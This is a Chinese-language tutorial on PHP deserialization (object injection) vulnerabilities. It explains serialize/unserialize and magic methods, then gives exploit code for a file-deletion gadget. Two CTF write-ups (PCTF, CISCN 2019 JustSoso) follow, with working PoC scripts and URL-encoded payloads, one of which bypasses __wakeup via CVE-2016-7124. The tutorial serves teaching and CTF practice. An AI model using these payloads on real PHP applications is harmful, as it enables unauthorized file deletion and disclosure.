php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用
原创：f1r3K0
php反序列化漏洞，又叫php对象注入漏洞，是一种常见的漏洞，在我们进行代码审计以及CTF中经常能够遇到。
01学习前最好提前掌握的知识PHP类与对象(https://www.php.net/manual/zh/language.oop5.php)
PHP魔术方法(https://secure.php.net/manual/zh/language.oop5.magic.php)
serialize()
(http://php.net/manual/zh/function.serialize.php)
与unserialize()
(http://php.net/manual/zh/function.unserialize.php)
02序列化与反序列化
PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数：serialize、unserialize。
serialize()
当我们在php中创建了一个对象后，可以通过serialize()把这个对象转变成一个字符串，用于保存对象的值方便之后的传递与使用。测试代码如下；
classpeople
{
public$name ="f1r3K0";
public$age ='18';
}
$class =newpeople();
$class_ser = serialize($class);
print_r($class_ser);
?>
测试结果：
O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}注意这里的括号外边的为大写英文字母O下面是字母代表的类型 a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串
unserialize()
与 serialize() 对应的，unserialize()可以从序列化后的结果中恢复对象(object)，我们翻阅PHP手册发现官方给出的是：unserialize — 从已存储的表示中创建 PHP 的值。
我们可以直接把之前序列化的对象反序列化回来来测试函数，如下：
classpeople
{
public$name ="f1r3K0";
public$age ='18';
}
$class =newpeople();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unse
r);
?>
提醒一下，当使用 unserialize() 恢复对象时， 将调用 __wakeup() 成员函数。(先埋个伏笔，这个点后面会提)
03反序列化漏洞
由前面可以看出，当传给 unserialize() 的参数可控时，我们可以通过传入一个"精心”构造的序列化字符串，从而控制对象内部的变量甚至是函数。
利用构造函数等
Magic function
php中有一类特殊的方法叫“Magic function”，就是我们常说的"魔术方法" 这里我们着重关注一下几个：__construct()：构造函数，当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct()：析构函数，类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行，当对象被销毁时会自动调用。
__wakeup()：如前所提，unserialize()时会检查是否存在 __wakeup()，如果存在，则会优先调用 __wakeup()方法。
__toString():用于处理一个类被当成字符串时应怎样回应，因此当一个对象被当作一个字符串时就会调用。
__sleep():用于提交未提交的数据，或类似的清理操作，因此当一个对象被序列化的时候被调用。
测试如下：
classpeople
{
public$name ="f1r3K0";
public$age ='18';
function__wakeup()
{
echo"__wakeup()";
}
function__construct()
{
echo"__consrtuct()";
}
function__destruct()
{
echo"__destruct()";
}
function__toString()
{
echo"__toString";
}
/*function __sleep()
{
echo "__sleep";
}*/
}
$class =newpeople();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>
结果如下：
从运行结果来看，我们可以看出unserialize函数是优先调用"__wakeup()"再进行的反序列化字符串。同时，对于其他方法的调用顺序也一目了然了。(注意：这里我将sleep注释掉了，因为sleep会在序列化的时候调用，因此执行sleep方法就不会再执行序列以及之后的操作了。)
利用场景
__wakeup()和destruct()
由前可以看到，unserialize()后会导致wakeup() 或destruct()的直接调用，中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中，从而当我们控制序列化字符串时可以去直接触发它们。我们这里直接使用参考文章的例子，代码如下：
//logfile.php 删除临时日志文件
classLogFile{
//log文件名
public$filename ='error.log';
//存储日志文件
publicfunctionLogData($text) {
echo'Log some data:'. $text .'
';
file_put_contents($this->filename, $text, FILE_APPEND);
}
//Destructor删除日志文件
publicfunction__destruct() {
echo'__destruct delete'. $this->filename .'file.
';
unlink(dirname(__FILE__) .'/'. $this->filename);//删除当前目录下的filename这个文件
}
}
?>
//包含了’logfile.php’的主页面文件index.php
classUser{
//属性
public$age =0;
public$name ='';
//调用函数来输出类中属性
publicfunctionPrintData() {
echo'User'. $this->name .'is'. $this->age .'years old.
';
}
}
$usr = unserialize($_GET['user']);
?>
梳理下这2个php文件的功能，index.php是一个有php序列化漏洞的主业文件，logfile.php的功能就是在临时日志文件被记录了之后调用__destruct方法来删除临时日志的一个php文件。 这个代码写的有点逻辑漏洞的感觉，利用这个漏洞的方式就是，通过构造能够删除source.txt的序列化字符串，然后get方式传入被反序列化函数,反序列化为对象，对象销毁后调用__destruct()来删除source.txt.
漏洞利用exp
include'logfile.php';
$obj =newLogFile();
$obj->filename ='source.txt';//source.txt为你想删除的文件
echo serialize($obj) .'
';
?>
这里我们通过['GET']传入序列化字符串，调用反序列化函数来删除想要删除的文件。
之前还看到过一个wakeup()非常有意思的例子，这里直接上链接了
chybeta浅谈PHP反序列化 https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
04其它magic function的利用
这里我就结合PCTF和今年国赛上的题来分析了
PCTF
题目链接：(http://web.jarvisoj.com:32768/index.php)前面几步都是很常见的读文件源码
这里直接放出给的两个源码//index.php
require_once('shield.php');
$x =newShield();
isset($_GET['class']) && $g = $_GET['class'];
if(!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
上边index.php提示了包含的shield.php所以说直接构造base64就完事了//shield.php
//flag is in pctf.php
classShield{
public$file;
function__construct($filename ='') {
$this -> file = $filename;
}
functionreadfile() {
if(!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return@file_get_contents($this->file);
}
}
}
index.php 1.包含了一个shield.php 2.实例化了Shiele方法 3.通过[GET]接收了用户反序列化的内容，输出了readfile()方法
shield.php 1.首先就能发现file是可控的(利用点) 2.construct()在index中实例化的时候就已经执行了，因此不会影响我们对可控$file的利用。
构造poc
classShield
{
public$file ="pctf.php";
}
$flag =newShield();
print_r(serialize($flag));
?>最终poc:
最终POC
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
ciscn2019 web1- JustSoso
读源码的过程省略//index.php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo'Missing parameter'.'
';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($queryas$value){
if(preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo"Missing parameters";
}
?>
classHandle{
private$handle;
publicfunction__wakeup(){
foreach(get_object_vars($this)as$k => $v) {
$this->$k =null;
}
echo"Waking up\n";
}
publicfunction__construct($handle) {
$this->handle = $handle;
}
publicfunction__destruct(){
$this->handle->getFlag();
}
}
classFlag{
public$file;
public$token;
public$token_flag;
function__construct($file){
$this->file = $file;
$this->token_flag=&$this->token;
}
publicfunctiongetFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo@highlight_file($this->file,true);
}
}
}
}
其实刚开始做的时候是很懵逼了，一直在纠结爆破md5上边。22233333
1.首先我们需要绕的就是 $url=parse_url($_SERVER['REQUEST_URI']);使得 parse_str($url['query'],$query); 中query解析失败，这样就可以在payload里出现flag，这里应该n1ctf的web eating cms的绕过方式，添加 ///index.php绕过。
2.接下来就是需要我们绕过wakeup()里的将$k赋值为空的操作，这里用到的是一枚cve 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
3.绕md5这里用到了PHP中引用变量的知识
https://blog.csdn.net/qq_33156633/article/details/79936487
简单来说就是，当两个变量指向同一地址时，例如： $b=&$a,这里的 $b指向的是 $a的区域，这样b就随着a变化而变化，同样的原理，我们在第二步序列化时加上这一步$b =newFlag("flag.php");
$b->token=&$b->token_flag;
$a =newHandle($b);
这样最后的token就和token_flag保持一致了。
最后的POC
classHandle
{
private$handle;
publicfunction__wakeup()
{
foreach(get_object_vars($this)as$k => $v)
{
$this->$k =null;
}
echo"Waking upn";
}
publicfunction__construct($handle)
{
$this->handle = $handle;
}
publicfunction__destruct()
{
$this->handle->getFlag();
}
}
classFlag
{
public$file;
public$token;
public$token_flag;
function__construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
publicfunctiongetFlag()
{
if(isset($this->file))
{
echo@highlight_file($this->file,true);
}
}
}
$b =newFlag("flag.php");
$b->token=&$b->token_flag;
$a =newHandle($b);
echo(serialize($a));
?>
这里还有一个点就是我们需要用%00来补全空缺的字符，又因为含有private 变量，需要 encode 一下。
最终payload：
?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D
05利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中，就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名，把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的，层层递进，最终去构造出一个有杀伤力的payload。
参考文章
https://www.cnblogs.com/Mrsm1th/p/6835592.html
http://p0desta.com/2018/04/01/php反序列化总结/
http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解与利用/
https://p0sec.net/index.php/archives/114/
相关操作学习：
PHP反序列化漏洞实验：明白什么是反序列化漏洞，漏洞成因以及如何挖掘和预防此类漏洞。http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001开始操作！
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